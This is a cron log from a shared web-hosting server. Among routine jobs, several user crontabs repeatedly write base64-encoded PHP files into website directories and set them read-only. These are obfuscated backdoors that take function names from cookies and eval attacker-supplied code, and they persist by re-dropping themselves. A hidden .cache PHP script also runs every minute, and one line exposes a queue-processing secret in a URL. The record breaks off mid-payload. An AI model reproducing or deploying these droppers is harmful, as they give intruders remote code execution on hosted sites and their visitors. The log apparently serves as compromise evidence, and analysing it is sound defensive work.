Mar  2 02:37:01 medusa CROND[16445]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:37:01 medusa CROND[16446]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:37:01 medusa CROND[16447]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 02:37:01 medusa CROND[16448]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:38:01 medusa CROND[23130]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 02:38:01 medusa CROND[23182]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:38:01 medusa CROND[23241]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:38:01 medusa CROND[23242]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:38:01 medusa CROND[23243]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:38:01 medusa CROND[23244]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:38:01 medusa CROND[23245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:38:01 medusa CROND[23246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:38:01 medusa CROND[23247]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:38:01 medusa CROND[23248]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:38:01 medusa CROND[23251]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:38:01 medusa CROND[23252]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:38:01 medusa CROND[23289]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:39:01 medusa CROND[29768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:39:01 medusa CROND[29957]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:39:01 medusa CROND[29958]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 02:39:01 medusa CROND[29959]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:39:01 medusa CROND[29962]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:39:01 medusa CROND[29966]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:39:01 medusa CROND[29967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:39:01 medusa CROND[29970]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:39:01 medusa CROND[29971]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:39:01 medusa CROND[29973]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:39:01 medusa CROND[29976]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:39:01 medusa CROND[29974]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 02:39:01 medusa CROND[29968]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 02:39:01 medusa CROND[29977]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpX